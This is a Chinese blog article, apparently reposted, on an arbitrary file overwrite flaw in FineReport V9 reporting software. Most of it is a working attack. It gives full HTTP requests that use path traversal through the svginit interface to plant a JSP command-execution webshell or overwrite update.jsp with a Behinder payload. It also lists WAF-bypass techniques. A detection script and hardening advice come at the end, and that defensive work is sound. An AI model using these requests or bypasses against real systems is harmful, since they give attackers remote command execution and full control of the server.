帆软V9任意文件覆盖漏洞深度剖析:从无损上传到有损覆盖的实战利用
1. 帆软V9任意文件覆盖漏洞技术背景帆软报表FineReport作为国内广泛使用的企业级报表工具其V9版本存在一个高危的任意文件覆盖漏洞。这个漏洞的核心在于svginit接口对文件路径校验不严格攻击者可以通过构造特殊路径实现文件上传和覆盖。我在实际渗透测试中发现该漏洞利用门槛低但危害极大能够直接导致服务器被完全控制。漏洞的触发点在于design_save_svg功能模块。当系统处理.svg.jsp后缀文件时会先创建新文件再执行后续校验逻辑这个时序差就形成了无损上传的突破口。更危险的是系统默认安装时会生成update.jsp等关键文件攻击者可以直接覆盖这些文件实现有损攻击。去年某次红队行动中我们就曾利用这个漏洞在3分钟内拿下了目标企业的报表服务器。2. 无损上传攻击手法详解2.1 漏洞利用原理无损上传的精妙之处在于利用了文件创建和校验的时间差。当请求路径包含chartmapsvg开头且带有.svg.jsp后缀时系统会先创建文件再校验权限。这就好比快递员把包裹放在你家门口才敲门问是否签收——东西已经留下了拒绝也晚了。关键点在于必须使用chartmapsvg/../../这样的路径穿越文件名必须包含.svg.jsp双重后缀文件内容需要进行XML格式封装2.2 实战攻击步骤这里分享一个我常用的攻击链使用最简单的CMD类型webshellPOST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/cmd.svg.jsp HTTP/1.1 Host: target.com Content-Type: text/xml; charsetUTF-8 Content-Length: 328 { __CONTENT__:% java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(\cmd\)).getInputStream(); int a -1; byte[] b new byte[2048]; while((ain.read(b))!-1){ out.println(new String(b)); } %, __CHARSET__:UTF-8 }上传成功后直接访问http://target.com/WebReport/cmd.svg.jsp?cmdwhoami建议使用冰蝎或哥斯拉这类专业webshell工具时要注意jsp版本兼容性问题。有次实战中我就因为直接复制网上的payload导致特征被WAF识别后来改用分块编码才绕过检测。3. 有损覆盖上传技术剖析3.1 现有文件覆盖技巧比起无损上传有损覆盖更简单粗暴。帆软V9默认会在WebReport目录下创建update.jsp、update1.jsp等文件这些就是现成的攻击目标。我整理过常见版本的文件列表文件名默认路径可利用性update.jsp/WebReport/★★★★★update1.jsp/WebReport/★★★★☆error.jsp/WebReport/★★★☆☆覆盖update.jsp的payload示例POST /WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: target.com Content-Type: application/json Content-Length: 2580 {__CONTENT__:%! String xc\3c6e0b8a9c15224a\;...省略的冰蝎payload...,__CHARSET__:UTF-8}3.2 绕过防护的特殊技巧当遇到WAF拦截时可以尝试这些方法使用分块传输编码(Transfer-Encoding: chunked)在JSON中插入大量垃圾字符干扰检测修改Content-Type为application/xml对关键参数进行URL双重编码有次遇到某云WAF我通过以下方式成功绕过POST /WebReport/ReportServer HTTP/1.1 Transfer-Encoding: chunked Content-Type: application/json { userinfo: dummy, padding: aaa...5000个a...aaa, __CONTENT__:%out.print(test);%, cmd: design_save_svg, op: svginit, filePath: httpchartmapsvg/../../../update.jsp }4. 漏洞检测与防御方案4.1 自动化检测方法对于企业安全团队我建议使用如下检测流程版本识别检查/WebReport/ReportServer?opabout的版本信息探针检测尝试上传无害的test.jsp文件签名验证检查svginit接口的访问日志Python检测脚本示例import requests def check_vulnerability(url): test_path /WebReport/test123.svg.jsp payload { __CONTENT__: %out.print(123);%, __CHARSET__: UTF-8 } try: r requests.post( f{url}/WebReport/ReportServer?opsvginitcmddesign_save_svgfilePathchartmapsvg/../../../../{test_path}, jsonpayload, timeout10 ) verify requests.get(f{url}{test_path}, timeout5) if 123 in verify.text: return True except: pass return False4.2 企业级防护建议根据我在金融行业的防护经验推荐采取以下措施紧急措施删除WebReport目录下的update.jsp等默认文件在Nginx配置中添加规则拦截包含svginit的异常请求长期加固!-- 在web.xml中添加 -- security-constraint web-resource-collection url-pattern/ReportServer?opsvginit/url-pattern /web-resource-collection auth-constraint role-nameadmin/role-name /auth-constraint /security-constraint监控策略监控WebReport目录下的文件变更对.jsp文件的创建行为设置告警在一次给银行做安全加固时我们发现简单的文件权限设置就能阻断90%的攻击尝试# 设置WebReport目录不可执行 chmod -x /usr/local/tomcat/webapps/WebReport # 移除不必要的执行权限 find /usr/local/tomcat/webapps/WebReport -name *.jsp -type f -exec chmod 644 {} \;5. 漏洞利用的深入思考这个漏洞反映出文件处理逻辑中的经典问题先执行后校验。在审计类似系统时我通常会重点关注以下场景文件上传接口是否允许路径穿越文件创建和权限校验是否存在时间差系统是否存在可预测的默认文件有一次在内网渗透中我们发现某OA系统也存在类似的漏洞模式。通过对比分析总结出这类漏洞的通用检测方法收集所有文件操作接口测试路径穿越字符的过滤情况检查返回包中的文件路径处理结果验证实际文件系统变更在防御层面除了常规的WAF规则更重要的是实施最小权限原则。有次应急响应中我们发现攻击者虽然上传了webshell但因为Tomcat运行权限被严格限制最终没能实现横向移动。这提醒我们纵深防御才是应对这类漏洞的根本之道。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2547211.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!